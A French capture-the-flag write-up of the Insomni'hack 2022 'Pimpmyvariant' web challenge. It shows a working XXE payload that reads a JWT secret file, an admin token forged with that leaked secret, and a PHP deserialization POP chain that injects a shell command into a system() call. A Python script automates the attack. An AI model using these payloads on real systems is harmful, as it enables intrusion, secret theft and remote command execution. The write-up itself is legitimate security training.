5 minutes
Writeup Pimpmyvariant | Insomni’hack teaser 2022 | Catégorie web | [Leslato/Vozec/FR]
Nécessaires
BurpSuite, jwt.io, Python, PHP
Resources
https://pimpmyvariant.insomnihack.ch
Description
Seen as it went, why not guess the next variant name : pimpmyvariant.insomnihack.ch
Flag
INS{P!mpmYV4rianThat’s1flag}
Solution détaillée
Le challenge nous donne une Url (https://pimpmyvariant.insomnihack.ch):
On voit une liste de variante mais rien de bien intéressant.
Il y a un /robots.txt:
Nous avons donc 7 URL’s:
- https://pimpmyvariant.insomnihack.ch
- https://pimpmyvariant.insomnihack.ch/robots.txt
- https://pimpmyvariant.insomnihack.ch/readme
- https://pimpmyvariant.insomnihack.ch/new
- https://pimpmyvariant.insomnihack.ch/log
- https://pimpmyvariant.insomnihack.ch/flag.txt
- https://pimpmyvariant.insomnihack.ch/todo.txt
/flag.txt
ne nous renvoie pas le flag mais un bon Try harder
.
/todo.txt
nous renvoie test back
.
mais /new
et /readme
nous renvoie ceci:
On ne peut pas accéder à la page car notre hostname n’est pas le bon, on ouvre donc BurpSuite pour changer notre requête et envoyer 127.0.0.1
:
Le Readme nous donne la position du Jwt.secret : /www/jwt.secret.txt
ce qui revient à dire https://pimpmyvariant.insomnihack.ch/jwt.secret.txt mais si on accede à la page elle nous renvoie Try harder
.
On va voir le /log
:
Ici il nous faut un accès admin.
On va voir le /new
:
Sur celui-ci on peut envoyer une requête POST sous un format XML qui ajoute notre entre dans la variante liste de la première page:
<?xml version='1.0' encoding='utf-8'?>
<root>
<name>
asd
</name>
</root>
On reçoit aussi un Token jwt:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiYXNkIl0sInNldHRpbmdzIjoiYToxOntpOjA7Tzo0OlwiVXNlclwiOjM6e3M6NDpcIm5hbWVcIjtzOjQ6XCJBbm9uXCI7czo3OlwiaXNBZG1pblwiO2I6MDtzOjI6XCJpZFwiO3M6NDA6XCJkOGYzNTZhNTc2NGNlYTZkNDNiNzljZmJmNzdiMmNlMDc5YmZkZWM3XCI7fX0iLCJleHAiOjE2NDM2NTM3NzF9.4-9LLIK4wMi-Dherp7vATE8ICpjnMiP2SLKQfX2J2ls
La solution est simple, prenons les informations qu’on a:
- Une requête XML.
- Un token Jwt.
- Un file jwt.secret.txt
- La page /log qui demande un accès admin.
On va faire une XXE dans la requête XML pour récupérer le contenu de /www/jwt.secret.txt grâce auquel on va pouvoir changer notre token Jwt pour accéder à la page /log.
Le Payload XXE:
<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///www/jwt.secret.txt'>]>
<root>
<name>&xxe;</name>
</root>
Il nous revoit un nouveau token Jwt avec à la clef le jwt.secret.txt:
jwt.secret.txt : 54b163783c46881f1fe7ee05f90334aa
Le JWT
Avec le jwt.secret on va pouvoir modifier notre token pour nous donner les droits admin, direction jwt.io:
Dans les settings on met isAdmin
a 1 –> s:7:\"isAdmin\";b:1
et on ajoute le jwt.secret pour avoir la signature.
"settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"d8f356a5764cea6d43b79cfbf77b2ce079bfdec7\";}}",
"exp": 1643653771
}
Notre token admin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiYXNkIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NDpcIkFub25cIjtzOjc6XCJpc0FkbWluXCI7YjoxO3M6MjpcImlkXCI7czo0MDpcImQ4ZjM1NmE1NzY0Y2VhNmQ0M2I3OWNmYmY3N2IyY2UwNzliZmRlYzdcIjt9fSIsImV4cCI6MTY0MzY1Mzc3MX0.1eZ5_KqvrHeS5NQUGFW9a3XL10S7AUvqVkwy2CYlYSs
Le /log et la PHP POP chain
Voici ce que nous renvoie la page :
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
thrown in /www/UpdateLogViewer.inc on line 26
La première chose qu’on voit et /www/UpdateLogViewer.inc
.
On peut donc le télécharger dans https://pimpmyvariant.insomnihack.ch/UpdateLogViewer.inc et voici son contenu :
<?php
class UpdateLogViewer
{
public string $packgeName;
public string $logCmdReader;
private static ?UpdateLogViewer $singleton = null;
private function __construct(string $packgeName)
{
$this->packgeName = $packgeName;
$this->logCmdReader = 'cat';
}
public static function instance() : UpdateLogViewer
{
if( !isset(self::$singleton) || self::$singleton === null ){
$c = __CLASS__;
self::$singleton = new $c("$c");
}
return self::$singleton;
}
public static function read():string
{
return system(self::logFile());
}
public static function logFile():string
{
return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
}
public function __wakeup()// serialize
{
self::$singleton = $this;
}
};
Nous n’avons pas la balise ?> donc nous n’avons pas le code complet.
le commentaire : serialize nous fais comprendre qu’il y a une deserialization dans le code en dehors de la class UpdateLogViewer.
Enfin, on comprend que :
-
les fonctions présentes vont afficher, grâce à ’logCmdReader’ (=‘cat’) , un fichier du nom de
/var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log'
. -
Dans le token JWT , nous avons un Object sérialisé settings
Grâce à ces 2 informations, nous en déduisons que c’est une attaque PHP PoPChain
L’idée de base est d’envoyer un Object sérialisé pour ainsi réécrire les valeurs des strings lors de la désérialisation. On peut donc contrôler packgeName
et ainsi avoir une entré dans un Shell .
Pour la suite du challenge, nous avons écrit un script python qui se connecte sur un serveur local , récupère notre payload et l’envoie via un JWT valide avec les bypass’s présentés précédemment :
On recrée un fichier php avec la class UpdateLogViewer
et User
que l’on guess grâce au token valide généré par le site :
class User{
public string $name = "Anon";
public bool $isAdmin = true;
public string $id = "1aba2d2bf77b91328d97618d902bd81a9dd9b032";
}
Si on reprend le token JWT valid , on obtient un autre sérialisé par le serveur :
a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"d8f356a5764cea6d43b79cfbf77b2ce079bfdec7\";}}
On sait que les types sont de la forme :
- a - array
- b - boolean
- d - double
- i - integer
- o - common object
- r - reference
- s - string
- C - custom object
- O - class
- N - null
- R - pointer reference
- U - unicode string
On sait donc que nous devons envoyer un array ( a:1:{
) avec User et UpdateLogViewer
Enfin, on crée notre object UpdateLogViewer avec la valeur de packgeName que l’on veut et on affiche le payload , ainsi la fonction __construct de UpdateLogViewer va être réécrite dont la valeur packgeName :
<?php
class UpdateLogViewer
{
public string $packgeName;
private static ?UpdateLogViewer $singleton = null;
public function __construct(string $packgeName)
{
$this->packgeName = $packgeName;
$this->logCmdReader = 'cat';
}
public static function instance() : UpdateLogViewer
{
if( !isset(self::$singleton) || self::$singleton === null ){
$c = __CLASS__;
self::$singleton = new $c("$c");
}
return self::$singleton;
}
public static function read():string
{
return system(self::logFile());
}
public static function logFile():string
{
return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
}
public function __wakeup()
{
self::$singleton = $this;
}
}
class User{
public string $name = "Anon";
public bool $isAdmin = true;
public string $id = "1aba2d2bf77b91328d97618d902bd81a9dd9b032";
}
$ul = new UpdateLogViewer("; cat /www/flag.txt #");
$u = new User();
$superpayload= array(
$u,
$ul
);
echo serialize($superpayload);
?>
On obtient ce payload :
a:2:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"1aba2d2bf77b91328d97618d902bd81a9dd9b032";}i:1;O:15:"UpdateLogViewer":2:{s:10:"packgeName";s:21:"; cat /www/flag.txt #";s:12:"logCmdReader";s:3:"cat";}}
enfin , nous avons écris un script python pour tous automatiser :
import requests
import jwt
url = 'https://pimpmyvariant.insomnihack.ch/'
key = '54b163783c46881f1fe7ee05f90334aa'
def gettoken(post):
payload ={
"variants": [
"Alpha",
"Beta",
"Gamma",
"Delta",
"Omicron",
"Lambda",
"Epsilon",
"Zeta",
"Eta",
"Theta",
"Iota",
"a"
],
"settings": post,
"exp": 1643482579
}
encoded_jwt = jwt.encode(payload, key, algorithm='HS256').decode()
return encoded_jwt
def posttoken(token):
header = {
'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7',
}
cookie = {
'jwt':token
}
resp = requests.get(url+'log',headers=header,cookies=cookie)
return resp.text
post = requests.get('http://192.168.1.33').text
print(f'Payload : {post} \n\n')
token = gettoken(post)
print(f'Token : {token}'+'\n\n')
resp = posttoken(token)
if('</textarea>' in resp):
print(resp.split('<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">')[1])
else:
print(resp)
Une fois tous exécuté , on obtiens :
Avec le flag : INS{P!mpmYV4rianThat’s1flag}